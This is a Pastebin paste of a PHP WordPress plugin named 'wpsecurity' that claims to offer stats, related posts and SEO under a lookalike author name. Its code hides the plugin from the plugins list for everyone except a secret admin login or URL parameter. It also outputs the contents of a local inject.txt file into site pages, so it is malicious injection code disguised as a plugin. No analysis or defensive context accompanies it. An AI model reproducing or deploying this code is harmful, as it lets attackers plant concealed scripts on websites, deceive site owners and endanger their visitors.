PalmaSolutions

wpsecurity.php

Apr 26th, 2018
315
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.21 KB | None | 0 0
  1. <?php
  2. /*
  3. Plugin Name: wpsecurity
  4. Description: The one plugin you need for stats, related posts, search engine optimization
  5. Author: JAutomattics
  6. Version: 1.1
  7. */
  8.  
  9.  
  10. define('INJECTBODY__BASENAME', basename( __DIR__ ) );
  11. define('INJECTBODY__PLUGIN', INJECTBODY__BASENAME . DIRECTORY_SEPARATOR . basename( __FILE__ ) );
  12. define('INJECTBODY__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
  13. define('INJECTBODY__SCRIPT_DIR', INJECTBODY__PLUGIN_DIR );
  14. define('INJECTBODY__SCRIPT_FILE',  'inject.txt');
  15. define('INJECTBODY__SCRIPT_FILE_FULL', INJECTBODY__SCRIPT_DIR . INJECTBODY__SCRIPT_FILE);
  16. define('INJECTBODY__ADMIN_LOGIN', 'INJECTBODY__ADMIN');
  17.  
  18.  
  19. //скрываем плагины от всех кроме главного админа start
  20. function injectbody_hide($plugins) {
  21.    
  22.     if( $_GET[INJECTBODY__ADMIN_LOGIN] == 1 ) {
  23.         return $plugins;
  24.     }
  25.    
  26.     $user = wp_get_current_user();
  27.  
  28.     if( $user->data->user_login === INJECTBODY__ADMIN_LOGIN ) {
  29.         return $plugins;
  30.     }
  31.  
  32.     if( is_plugin_active( INJECTBODY__PLUGIN ) ) {
  33.         unset( $plugins[ INJECTBODY__PLUGIN ] );
  34.     }
  35.  
  36.     return $plugins;
  37. }
  38.  
  39. add_filter('all_plugins', 'injectbody_hide');
  40.  
  41. add_action( 'loop_start', function (){
  42.     if( file_exists(INJECTBODY__SCRIPT_FILE_FULL) && is_readable(INJECTBODY__SCRIPT_FILE_FULL) ) {
  43.         readfile(INJECTBODY__SCRIPT_FILE_FULL);
  44.     }
  45. });
  46.  
  47. //add_action('shutdown', function() {
  48. //    $final = '';
  49. //    $levels = ob_get_level();
  50. //    for ($i = 0; $i <= $levels; $i++){
  51. //        $final .= ob_get_clean();
  52. //    }
  53. //    echo apply_filters('final_output', $final);
  54. //}, 0);
  55. //
  56. //add_filter('final_output', function($output) {
  57. //    $after_body = apply_filters('after_body','');
  58. //    if( !$after_body ) return NULL;
  59. //    $output = preg_replace("/(\<body.*\>)/", "$1".$after_body, $output);
  60. //    //echo '<textarea>', htmlspecialchars($output),'</textarea>';
  61. //    return $output;
  62. //});
  63. //
  64. //add_action('after_body', function() {
  65. //    if( file_exists(INJECTBODY__SCRIPT_FILE_FULL) && is_readable(INJECTBODY__SCRIPT_FILE_FULL) ) {
  66. //        $content = file_get_contents(INJECTBODY__SCRIPT_FILE_FULL);
  67. //        return ($content === FALSE ? NULL : $content);
  68. //    }
  69. //});
Advertisement
Add Comment
Please, Sign In to add comment